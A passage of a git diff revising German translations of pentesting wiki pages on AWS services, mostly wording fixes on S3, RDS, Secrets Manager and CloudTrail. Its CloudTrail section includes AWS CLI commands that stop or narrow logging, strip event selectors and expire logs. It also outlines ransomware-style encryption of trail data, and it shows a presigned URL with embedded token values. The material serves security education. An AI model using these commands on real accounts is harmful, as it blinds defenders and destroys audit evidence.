Cluster und für alle Backups dieses Clusters rotieren. Es wird einen DEK für den Cluster rotieren, aber es ist nicht möglich, einen DEK für die in S3 gespeicherten Snapshots zu rotieren, die mit dem DEK verschlüsselt wurden. Es wird den Cluster in einen Zustand 'Schlüssel rotieren' versetzen, bis der Prozess abgeschlossen ist, wenn der Status wieder auf 'verfügbar' zurückkehrt.
@@ -87,7 +87,7 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm ../aws-privilege-escalation/aws-redshift-privesc.md {{#endref}} -## Persistence +## Persistenz Die folgenden Aktionen ermöglichen den Zugriff auf den Cluster für andere AWS-Konten: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index dcfdd5605..da7424379 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -44,7 +44,7 @@ Darüber hinaus kann auch der **Datenbankport geändert** werden. ### Verschlüsselung -**Verschlüsselung ist standardmäßig aktiviert** unter Verwendung eines von AWS verwalteten Schlüssels (ein CMK könnte stattdessen gewählt werden). +**Verschlüsselung ist standardmäßig aktiviert** und verwendet einen von AWS verwalteten Schlüssel (ein CMK kann stattdessen ausgewählt werden). Durch die Aktivierung Ihrer Verschlüsselung aktivieren Sie die **Verschlüsselung im Ruhezustand für Ihren Speicher, Snapshots, Read Replicas und Ihre Backups**. Schlüssel zur Verwaltung dieser Verschlüsselung können durch die Verwendung von **KMS** ausgegeben werden.\ Es ist nicht möglich, dieses Niveau der Verschlüsselung hinzuzufügen, nachdem Ihre Datenbank erstellt wurde. **Es muss während ihrer Erstellung erfolgen**. @@ -61,7 +61,7 @@ Um TDE zu nutzen, sind bestimmte Vorbereitungen erforderlich: - Die Datenbank muss mit einer Optionsgruppe verbunden sein. Optionsgruppen dienen als Container für Einstellungen und Funktionen und erleichtern die Datenbankverwaltung, einschließlich Sicherheitsverbesserungen. - Es ist jedoch wichtig zu beachten, dass Optionsgruppen nur für bestimmte Datenbank-Engines und -Versionen verfügbar sind. 2. **Einbeziehung von TDE in die Optionsgruppe**: -- Sobald sie mit einer Optionsgruppe verbunden ist, muss die Oracle-Option für die transparente Datenverschlüsselung in diese Gruppe aufgenommen werden. +- Sobald die Datenbank mit einer Optionsgruppe verbunden ist, muss die Oracle-Option für die transparente Datenverschlüsselung in diese Gruppe aufgenommen werden. - Es ist wichtig zu erkennen, dass die TDE-Option, sobald sie zu einer Optionsgruppe hinzugefügt wurde, ein permanentes Element wird und nicht entfernt werden kann. 3. **TDE-Verschlüsselungsmodi**: - TDE bietet zwei verschiedene Verschlüsselungsmodi: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index 1fbade177..ac14896e6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -5,7 +5,7 @@ ## Route 53 Amazon Route 53 ist ein Cloud **Domain Name System (DNS)** Webdienst.\ -Sie können https, http und tcp **Health Checks für Webseiten** über Route53 erstellen. +Sie können https-, http- und tcp **Health Checks für Webseiten** über Route53 erstellen. ### IP-basiertes Routing diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index d1b42add3..62b640c12 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -6,13 +6,13 @@ Amazon S3 ist ein Dienst, der es Ihnen ermöglicht, **große Mengen an Daten zu speichern**. -Amazon S3 bietet mehrere Optionen, um den **Schutz** von Daten im Ruhezustand zu gewährleisten. Die Optionen umfassen **Berechtigungen** (Richtlinie), **Verschlüsselung** (Client- und Server-seitig), **Bucket-Versionierung** und **MFA** **basierte Löschung**. Der **Benutzer kann** eine dieser Optionen aktivieren, um den Datenschutz zu erreichen. **Datenreplikation** ist eine interne Funktion von AWS, bei der **S3 automatisch jedes Objekt über alle Verfügbarkeitszonen hinweg repliziert**, und die Organisation muss dies in diesem Fall nicht aktivieren. +Amazon S3 bietet mehrere Optionen, um den **Schutz** von Daten im Ruhezustand zu gewährleisten. Die Optionen umfassen **Berechtigungen** (Richtlinie), **Verschlüsselung** (Client- und Server-seitig), **Bucket-Versionierung** und **MFA** **basierte Löschung**. Der **Benutzer kann** eine dieser Optionen aktivieren, um den Datenschutz zu erreichen. **Datenreplikation** ist eine interne Funktion von AWS, bei der **S3 automatisch jedes Objekt über alle Verfügbarkeitszonen repliziert** und die Organisation es in diesem Fall nicht aktivieren muss. Mit ressourcenbasierten Berechtigungen können Sie Berechtigungen für Unterverzeichnisse Ihres Buckets separat definieren. ### Bucket-Versionierung und MFA-basierte Löschung -Wenn die Bucket-Versionierung aktiviert ist, erzeugt jede Aktion, die versucht, eine Datei innerhalb einer Datei zu ändern, eine neue Version der Datei und behält auch den vorherigen Inhalt derselben bei. Daher wird der Inhalt nicht überschrieben. +Wenn die Bucket-Versionierung aktiviert ist, erzeugt jede Aktion, die versucht, eine Datei innerhalb einer Datei zu ändern, eine neue Version der Datei und behält auch den vorherigen Inhalt bei. Daher wird der Inhalt nicht überschrieben. Darüber hinaus verhindert die MFA-basierte Löschung, dass Versionen von Dateien im S3-Bucket gelöscht werden und auch, dass die Bucket-Versionierung deaktiviert wird, sodass ein Angreifer diese Dateien nicht ändern kann. @@ -26,12 +26,12 @@ Es ist möglich, eine vorgenehmigte URL zu generieren, die normalerweise verwend ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` -Eine vorab signierte URL kann **über die CLI mit den Anmeldeinformationen eines Benutzers erstellt werden, der Zugriff auf das Objekt hat** (wenn das Konto, das Sie verwenden, keinen Zugriff hat, wird eine kürzere vorab signierte URL erstellt, die jedoch nutzlos sein wird) +Eine vorab signierte URL kann **über die CLI mit den Anmeldeinformationen eines Benutzers erstellt werden, der Zugriff auf das Objekt hat** (wenn das von Ihnen verwendete Konto keinen Zugriff hat, wird eine kürzere vorab signierte URL erstellt, die jedoch nutzlos sein wird). ```bash aws s3 presign --region 's3:///' ``` > [!NOTE] -> Die einzige erforderliche Berechtigung zum Generieren einer vorab signierten URL ist die erteilte Berechtigung. Für den vorherigen Befehl benötigt der Principal also nur die Berechtigung `s3:GetObject`. +> Die einzige erforderliche Berechtigung zum Generieren einer vorab signierten URL ist die erteilte Berechtigung. Für den vorherigen Befehl ist die einzige Berechtigung, die der Principal benötigt, `s3:GetObject`. Es ist auch möglich, vorab signierte URLs mit **anderen Berechtigungen** zu erstellen: ```python @@ -44,7 +44,7 @@ ExpiresIn=3600 ``` ### S3 Verschlüsselungsmechanismen -**DEK bedeutet Datenverschlüsselungsschlüssel** und ist der Schlüssel, der immer generiert und verwendet wird, um Daten zu verschlüsseln. +**DEK bedeutet Datenverschlüsselungsschlüssel** und ist der Schlüssel, der immer generiert wird und zur Verschlüsselung von Daten verwendet wird.
@@ -76,7 +76,7 @@ Diese Methode ermöglicht es S3, den Schlüsselverwaltungsdienst zu nutzen, um I - Entschlüsselung: - S3 fragt KMS, um den verschlüsselten Datenkey des Objekts zu entschlüsseln - KMS entschlüsselt den Datenkey mit der CMK und sendet ihn an S3 zurück -- S3 entschlüsselt die Objekt Daten +- S3 entschlüsselt die Objektdaten
@@ -84,15 +84,15 @@ Diese Methode ermöglicht es S3, den Schlüsselverwaltungsdienst zu nutzen, um I Server-seitige Verschlüsselung mit vom Kunden bereitgestellten Schlüsseln, SSE-C -Diese Option gibt Ihnen die Möglichkeit, Ihren eigenen Master-Schlüssel bereitzustellen, den Sie möglicherweise bereits außerhalb von AWS verwenden. Ihr vom Kunden bereitgestellter Schlüssel würde dann mit Ihren Daten an S3 gesendet, wo S3 dann die Verschlüsselung für Sie durchführt. +Diese Option gibt Ihnen die Möglichkeit, Ihren eigenen Master-Schlüssel bereitzustellen, den Sie möglicherweise bereits außerhalb von AWS verwenden. Ihr vom Kunden bereitgestellter Schlüssel würde dann mit Ihren Daten an S3 gesendet, wo S3 die Verschlüsselung für Sie durchführt. - Verschlüsselung: -- Der Benutzer sendet die Objekt Daten + Kunden Schlüssel an S3 -- Der Kunden Schlüssel wird verwendet, um die Daten zu verschlüsseln, und die verschlüsselten Daten werden gespeichert -- Ein gesalzener HMAC-Wert des Kunden Schlüssels wird ebenfalls für zukünftige Schlüsselvalidierung gespeichert -- Der Kunden Schlüssel wird aus dem Speicher gelöscht +- Der Benutzer sendet die Objektdaten + Kunden-Schlüssel an S3 +- Der Kunden-Schlüssel wird verwendet, um die Daten zu verschlüsseln, und die verschlüsselten Daten werden gespeichert +- Ein gesalzener HMAC-Wert des Kunden-Schlüssels wird ebenfalls für zukünftige Schlüsselvalidierung gespeichert +- Der Kunden-Schlüssel wird aus dem Speicher gelöscht - Entschlüsselung: -- Der Benutzer sendet den Kunden Schlüssel +- Der Benutzer sendet den Kunden-Schlüssel - Der Schlüssel wird gegen den gespeicherten HMAC-Wert validiert - Der vom Kunden bereitgestellte Schlüssel wird dann verwendet, um die Daten zu entschlüsseln @@ -124,7 +124,7 @@ Mit diesem Mechanismus können Sie Ihre eigenen bereitgestellten Schlüssel nutz - Verschlüsselung: - Der Client generiert einen DEK und verschlüsselt die Klartextdaten -- Dann verschlüsselt er mit seiner eigenen benutzerdefinierten CMK den DEK +- Dann verschlüsselt er den DEK mit seiner eigenen benutzerdefinierten CMK - Reicht die verschlüsselten Daten + verschlüsselten DEK an S3 ein, wo sie gespeichert werden - Entschlüsselung: - S3 sendet die verschlüsselten Daten und DEK @@ -270,15 +270,15 @@ Auf der folgenden Seite können Sie überprüfen, wie man **S3-Berechtigungen mi ## Amazon Athena -Amazon Athena ist ein interaktiver Abfrageservice, der es einfach macht, **Daten** direkt im Amazon Simple Storage Service (Amazon **S3**) **unter Verwendung von** standard **SQL** zu **analysieren**. +Amazon Athena ist ein interaktiver Abfrageservice, der es einfach macht, **Daten** direkt im Amazon Simple Storage Service (Amazon **S3**) **unter Verwendung von** standardmäßigen **SQL** zu **analysieren**. -Sie müssen eine **relationale DB-Tabelle** mit dem Format des Inhalts vorbereiten, der in den überwachten S3-Buckets erscheinen wird. Und dann kann Amazon Athena die DB aus den Protokollen befüllen, sodass Sie Abfragen durchführen können. +Sie müssen eine **relationale DB-Tabelle** mit dem Format des Inhalts vorbereiten, der in den überwachten S3-Buckets erscheinen wird. Anschließend kann Amazon Athena die DB aus den Protokollen befüllen, sodass Sie Abfragen durchführen können. Amazon Athena unterstützt die **Möglichkeit, S3-Daten abzufragen, die bereits verschlüsselt sind**, und wenn es so konfiguriert ist, **kann Athena auch die Ergebnisse der Abfrage verschlüsseln, die dann in S3 gespeichert werden können**. **Diese Verschlüsselung der Ergebnisse ist unabhängig von den zugrunde liegenden abgefragten S3-Daten**, was bedeutet, dass selbst wenn die S3-Daten nicht verschlüsselt sind, die abgefragten Ergebnisse verschlüsselt werden können. Ein paar Punkte, die zu beachten sind, sind, dass Amazon Athena nur Daten unterstützt, die mit den **folgenden S3-Verschlüsselungsmethoden** **verschlüsselt** wurden, **SSE-S3, SSE-KMS und CSE-KMS**. -SSE-C und CSE-E werden nicht unterstützt. Darüber hinaus ist es wichtig zu verstehen, dass Amazon Athena nur Abfragen gegen **verschlüsselte Objekte ausführen wird, die sich in derselben Region wie die Abfrage selbst befinden**. Wenn Sie S3-Daten abfragen müssen, die mit KMS verschlüsselt wurden, sind spezifische Berechtigungen für den Athena-Benutzer erforderlich, um ihnen die Durchführung der Abfrage zu ermöglichen. +SSE-C und CSE-E werden nicht unterstützt. Darüber hinaus ist es wichtig zu verstehen, dass Amazon Athena nur Abfragen gegen **verschlüsselte Objekte ausführen wird, die sich in derselben Region wie die Abfrage selbst befinden**. Wenn Sie S3-Daten abfragen müssen, die mit KMS verschlüsselt wurden, sind spezifische Berechtigungen für den Athena-Benutzer erforderlich, um die Abfrage durchzuführen. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index fcd67bd9b..2a470f7f8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -10,7 +10,7 @@ Der Manager vereinfacht den **Prozess der Rotation von Geheimnissen** und verbes Der Zugriff auf Geheimnisse wird durch detaillierte IAM identitätsbasierte Richtlinien und ressourcenbasierte Richtlinien streng kontrolliert. -Um einem Benutzer aus einem anderen AWS-Konto den Zugriff auf Geheimnisse zu gewähren, ist es notwendig: +Um einem Benutzer aus einem anderen AWS-Konto Zugriff auf Geheimnisse zu gewähren, ist es notwendig: 1. Den Benutzer zu autorisieren, auf das Geheimnis zuzugreifen. 2. Dem Benutzer die Berechtigung zu erteilen, das Geheimnis mit KMS zu entschlüsseln. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 0659480a9..d15e69dcd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **zeichnet Aktivitäten in Ihrer AWS-Umgebung auf und überwacht sie**. Es erfasst detaillierte **Ereignisprotokolle**, einschließlich wer was, wann und von wo getan hat, für alle Interaktionen mit AWS-Ressourcen. Dies bietet eine Prüfspur von Änderungen und Aktionen, die bei der Sicherheitsanalyse, der Compliance-Prüfung und der Verfolgung von Ressourcenänderungen hilft. CloudTrail ist entscheidend für das Verständnis des Verhaltens von Benutzern und Ressourcen, zur Verbesserung der Sicherheitslage und zur Gewährleistung der Einhaltung von Vorschriften. +AWS CloudTrail **zeichnet Aktivitäten in Ihrer AWS-Umgebung auf und überwacht sie**. Es erfasst detaillierte **Ereignisprotokolle**, einschließlich wer was, wann und von wo getan hat, für alle Interaktionen mit AWS-Ressourcen. Dies bietet eine Prüfspur von Änderungen und Aktionen, die bei der Sicherheitsanalyse, der Compliance-Prüfung und der Verfolgung von Ressourcenänderungen hilft. CloudTrail ist entscheidend für das Verständnis des Verhaltens von Benutzern und Ressourcen, die Verbesserung der Sicherheitslage und die Gewährleistung der Einhaltung von Vorschriften. Jedes protokollierte Ereignis enthält: @@ -19,22 +19,22 @@ Jedes protokollierte Ereignis enthält: - Die Anforderungsparameter: `requestParameters` - Die Antwortelemente: `responseElements` -Ereignisse werden **ungefähr alle 5 Minuten in einer JSON-Datei** in eine neue Protokolldatei geschrieben, sie werden von CloudTrail gehalten und schließlich werden die Protokolldateien **ungefähr 15 Minuten später an S3 geliefert**.\ -CloudTrail-Protokolle können **über Konten und Regionen aggregiert werden.**\ -CloudTrail ermöglicht die Verwendung von **Protokolldateiintegrität, um zu überprüfen, ob Ihre Protokolldateien seit der Lieferung durch CloudTrail unverändert geblieben sind**. Es erstellt einen SHA-256-Hash der Protokolle in einer Digest-Datei. Ein SHA-256-Hash der neuen Protokolle wird jede Stunde erstellt.\ -Beim Erstellen eines Trails ermöglichen die Ereigniswähler, den Trail anzugeben, der protokolliert werden soll: Management-, Daten- oder Einblickereignisse. +Ereignisse werden **ungefähr alle 5 Minuten in einer JSON-Datei in eine neue Protokolldatei geschrieben**, sie werden von CloudTrail gehalten und schließlich werden die Protokolldateien **ungefähr 15 Minuten später an S3 geliefert**.\ +CloudTrails Protokolle können **über Konten und Regionen aggregiert werden.**\ +CloudTrail ermöglicht die Verwendung von **Protokolldateiintegrität, um zu überprüfen, dass Ihre Protokolldateien seit der Lieferung durch CloudTrail unverändert geblieben sind**. Es erstellt einen SHA-256-Hash der Protokolle in einer Digest-Datei. Ein sha-256-Hash der neuen Protokolle wird jede Stunde erstellt.\ +Beim Erstellen eines Trails ermöglichen es die Ereigniswähler, den Trail anzugeben, der protokolliert werden soll: Management-, Daten- oder Einblickereignisse. Protokolle werden in einem S3-Bucket gespeichert. Standardmäßig wird die serverseitige Verschlüsselung (SSE-S3) verwendet, sodass AWS den Inhalt für die Personen entschlüsselt, die Zugriff darauf haben, aber für zusätzliche Sicherheit können Sie SSE mit KMS und Ihren eigenen Schlüsseln verwenden. Die Protokolle werden in einem **S3-Bucket mit diesem Namensformat** gespeichert: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- Dabei ist der BucketName: **`aws-cloudtrail-logs--`** +- Der BucketName ist: **`aws-cloudtrail-logs--`** - Beispiel: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** Innerhalb jedes Ordners hat jede Protokolldatei einen **Namen, der diesem Format folgt**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** -Protokolldateibenennungskonvention +Protokolldateibenennungs-Konvention ![](<../../../../images/image (122).png>) @@ -48,7 +48,7 @@ Darüber hinaus werden **Digest-Dateien (zur Überprüfung der Dateiintegrität) - Wenden Sie Berechtigungen auf den Ziel-S3-Bucket an, um den Zugriff über Konten für CloudTrail zu ermöglichen, und erlauben Sie jedem AWS-Konto, das Zugriff benötigt - Erstellen Sie einen neuen Trail in den anderen AWS-Konten und wählen Sie aus, den im Schritt 1 erstellten Bucket zu verwenden -Wenn Sie jedoch alle Protokolle im selben S3-Bucket speichern können, können Sie CloudTrail-Protokolle von mehreren Konten nicht in einem CloudWatch-Logs aggregieren, die zu einem einzelnen AWS-Konto gehören. +Wenn Sie jedoch alle Protokolle im selben S3-Bucket speichern können, können Sie CloudTrail-Protokolle von mehreren Konten nicht in CloudWatch-Protokolle aggregieren, die zu einem einzelnen AWS-Konto gehören. > [!CAUTION] > Denken Sie daran, dass ein Konto **verschiedene Trails** von CloudTrail **aktiviert** haben kann, die dieselben (oder unterschiedliche) Protokolle in verschiedenen Buckets speichern. @@ -73,7 +73,7 @@ aws cloudtrail validate-logs --trail-arn --start-time [- Beachten Sie, dass zur Erlaubnis von CloudTrail, die Protokolle an CloudWatch zu senden, eine **Rolle** erstellt werden muss, die diese Aktion erlaubt. Wenn möglich, wird empfohlen, die Standardrolle von AWS für diese Aktionen zu verwenden. Diese Rolle ermöglicht es CloudTrail: - CreateLogStream: Dies ermöglicht das Erstellen von CloudWatch Logs-Protokollstreams -- PutLogEvents: CloudTrail-Protokolle an den CloudWatch Logs-Protokollstream zu liefern +- PutLogEvents: Übermitteln von CloudTrail-Protokollen an den CloudWatch Logs-Protokollstream ### Ereignisverlauf @@ -83,7 +83,7 @@ Der CloudTrail-Ereignisverlauf ermöglicht es Ihnen, in einer Tabelle die aufgez ### Einblicke -**CloudTrail Insights** analysiert automatisch **Schreibmanagementereignisse** von CloudTrail-Tracks und **benachrichtigt** Sie über **ungewöhnliche Aktivitäten**. Wenn beispielsweise ein Anstieg der `TerminateInstance`-Ereignisse festgestellt wird, der von festgelegten Baselines abweicht, sehen Sie dies als Insight-Ereignis. Diese Ereignisse erleichtern **das Finden und Reagieren auf ungewöhnliche API-Aktivitäten** mehr denn je. +**CloudTrail Insights** analysiert automatisch **Schreibmanagementereignisse** von CloudTrail-Tracks und **benachrichtigt** Sie über **ungewöhnliche Aktivitäten**. Wenn es beispielsweise einen Anstieg von `TerminateInstance`-Ereignissen gibt, der von festgelegten Baselines abweicht, sehen Sie dies als Insight-Ereignis. Diese Ereignisse erleichtern **das Finden und Reagieren auf ungewöhnliche API-Aktivitäten** mehr denn je. Die Einblicke werden im selben Bucket wie die CloudTrail-Protokolle gespeichert: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` @@ -91,15 +91,15 @@ Die Einblicke werden im selben Bucket wie die CloudTrail-Protokolle gespeichert: | Integrität der CloudTrail-Protokolldatei |
  • Überprüfen, ob Protokolle manipuliert wurden (modifiziert oder gelöscht)
  • Verwendet Digest-Dateien (erstellt Hash für jede Datei)

    • SHA-256-Hashing
    • SHA-256 mit RSA für digitale Signatur
    • privater Schlüssel im Besitz von Amazon
  • Benötigt 1 Stunde, um eine Digest-Datei zu erstellen (jede Stunde zur vollen Stunde)
| | ------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Unbefugten Zugriff stoppen |
  • Verwenden Sie IAM-Richtlinien und S3-Bucket-Richtlinien

    • Sicherheitsteam —> Administratorzugriff
    • Prüfer —> Nur-Lesezugriff
  • Verwenden Sie SSE-S3/SSE-KMS, um die Protokolle zu verschlüsseln
| -| Verhindern, dass Protokolldateien gelöscht werden |
  • Beschränken Sie den Löschzugriff mit IAM- und Bucket-Richtlinien
  • Konfigurieren Sie S3 MFA-Löschen
  • Überprüfen Sie mit der Protokolldatei-Validierung
| +| Unbefugten Zugriff stoppen |
  • Verwenden Sie IAM-Richtlinien und S3-Bucket-Richtlinien

    • Sicherheitsteam —> Administratorzugriff
    • Prüfer —> Nur-Lese-Zugriff
  • Verwenden Sie SSE-S3/SSE-KMS, um die Protokolle zu verschlüsseln
| +| Verhindern, dass Protokolldateien gelöscht werden |
  • Beschränken Sie den Löschzugriff mit IAM- und Bucket-Richtlinien
  • Konfigurieren Sie S3 MFA-Löschen
  • Validieren Sie mit der Protokolldateivalidierung
| ## Zugriffsberater -Der AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS **CloudTrail-Protokolle, um seine Einblicke zu gewinnen**. CloudTrail erfasst eine Historie der AWS-API-Aufrufe und verwandten Ereignisse, die in einem AWS-Konto durchgeführt wurden. Der Access Advisor nutzt diese Daten, um **zu zeigen, wann Dienste zuletzt aufgerufen wurden**. Durch die Analyse der CloudTrail-Protokolle kann der Access Advisor bestimmen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff stattfand. Dies hilft AWS-Administratoren, informierte Entscheidungen über **die Verfeinerung von Berechtigungen** zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht aufgerufen wurden, und möglicherweise zu breite Berechtigungen basierend auf realen Nutzungsmustern reduzieren können. +AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS **CloudTrail-Protokolle, um seine Einblicke zu gewinnen**. CloudTrail erfasst eine Historie der AWS-API-Aufrufe und verwandten Ereignisse, die in einem AWS-Konto durchgeführt wurden. Access Advisor nutzt diese Daten, um **zu zeigen, wann Dienste zuletzt aufgerufen wurden**. Durch die Analyse der CloudTrail-Protokolle kann Access Advisor bestimmen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff stattfand. Dies hilft AWS-Administratoren, informierte Entscheidungen über **die Verfeinerung von Berechtigungen** zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht aufgerufen wurden, und potenziell zu breite Berechtigungen basierend auf realen Nutzungsmustern reduzieren können. > [!TIP] -> Daher informiert der Access Advisor über **die unnötigen Berechtigungen, die Benutzern erteilt werden**, sodass der Administrator sie entfernen kann +> Daher informiert der Zugriffsberater über **die unnötigen Berechtigungen, die Benutzern erteilt werden**, sodass der Administrator sie entfernen kann
@@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store --query-id ) > [!CAUTION] -> Beachten Sie, dass alle öffentlichen APIs, die entdeckt wurden, keine CloudTrail-Protokolle zu erstellen, jetzt behoben sind, also müssen Sie möglicherweise Ihre eigenen finden... +> Beachten Sie, dass alle öffentlichen APIs, die entdeckt wurden, um keine CloudTrail-Protokolle zu erstellen, jetzt behoben sind, also müssen Sie möglicherweise Ihre eigenen finden... > -> Für weitere Informationen siehe die [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> Für weitere Informationen überprüfen Sie die [**originale Forschung**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). ### Zugriff auf Dritte Infrastruktur Bestimmte AWS-Dienste werden **einige Infrastrukturen** wie **Datenbanken** oder **Kubernetes**-Cluster (EKS) **erzeugen**. Ein Benutzer, der **direkt mit diesen Diensten spricht** (wie der Kubernetes-API), **wird die AWS-API nicht verwenden**, sodass CloudTrail diese Kommunikation nicht sehen kann. -Daher könnte ein Benutzer mit Zugriff auf EKS, der die URL der EKS-API entdeckt hat, ein Token lokal generieren und **direkt mit dem API-Dienst sprechen, ohne von CloudTrail erkannt zu werden**. +Daher könnte ein Benutzer mit Zugriff auf EKS, der die URL der EKS-API entdeckt hat, lokal ein Token generieren und **direkt mit dem API-Dienst sprechen, ohne von CloudTrail erkannt zu werden**. Weitere Informationen in: @@ -228,7 +228,7 @@ aws cloudtrail stop-logging --name [trail-name] ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` -#### Protokollierung durch Ereignis-Selektoren deaktivieren +#### Protokollierung durch Ereigniswähler deaktivieren ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -Im ersten Beispiel wird ein einzelner Ereignis-Selektor als JSON-Array mit einem einzelnen Objekt bereitgestellt. Der `"ReadWriteType": "ReadOnly"` zeigt an, dass der **Ereignis-Selektor nur schreibgeschützte Ereignisse erfassen sollte** (CloudTrail-Insights **werden beispielsweise keine Schreib**-Ereignisse überprüfen). +Im ersten Beispiel wird ein einzelner Ereignis-Selektor als JSON-Array mit einem einzelnen Objekt bereitgestellt. Der `"ReadWriteType": "ReadOnly"` zeigt an, dass der **Ereignis-Selektor nur schreibgeschützte Ereignisse erfassen sollte** (CloudTrail-Insights **werden beispielsweise keine Schreibereignisse überprüfen**). Sie können den Ereignis-Selektor basierend auf Ihren spezifischen Anforderungen anpassen. @@ -244,33 +244,33 @@ Sie können den Ereignis-Selektor basierend auf Ihren spezifischen Anforderungen ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` -### Modifying Bucket Configuration +### Modifizieren der Bucket-Konfiguration - Löschen Sie den S3-Bucket - Ändern Sie die Bucket-Richtlinie, um alle Schreibvorgänge vom CloudTrail-Dienst zu verweigern - Fügen Sie eine Lebenszyklusrichtlinie zum S3-Bucket hinzu, um Objekte zu löschen - Deaktivieren Sie den KMS-Schlüssel, der zum Verschlüsseln der CloudTrail-Protokolle verwendet wird -### Cloudtrail ransomware +### Cloudtrail Ransomware -#### S3 ransomware +#### S3 Ransomware -Sie könnten **einen asymmetrischen Schlüssel generieren** und **CloudTrail die Daten mit diesem Schlüssel verschlüsseln** und **den privaten Schlüssel löschen**, sodass die CloudTrail-Inhalte nicht wiederhergestellt werden können.\ -Dies ist im Grunde eine **S3-KMS-Ransomware**, die erklärt wird in: +Sie könnten **einen asymmetrischen Schlüssel generieren** und **CloudTrail die Daten mit diesem 